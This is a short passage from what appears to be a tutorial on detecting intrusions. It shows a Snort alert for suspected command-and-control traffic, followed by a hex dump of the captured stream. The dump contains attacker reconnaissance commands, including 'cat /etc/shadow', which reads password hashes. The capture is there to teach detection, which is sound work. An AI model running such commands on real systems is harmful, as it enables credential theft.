12/20-14:01:22.788277 [**] [1:4000005:3] "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)" [**] [Classification: Known malware command and control traffic] [Priority: 1] {TCP} 192.168.56.102:80 -> 172.17.0.2:37957

snort.stream_tcp[46]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
6C 73 0A 0A 77 68 6F 61  6D 69 0A 0A 0A 75 6E 61  ls..whoa mi...una
6D 65 20 2D 2D 61 6C 6C  0A 0A 0A 69 64 0A 63 61  me --all ...id.ca
74 20 2F 65 74 63 2F 73  68 61 64 6F 77 0A        t /etc/s hadow.
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Well that is it for this. Over to using Zeek detect this activity and wrap-up this series.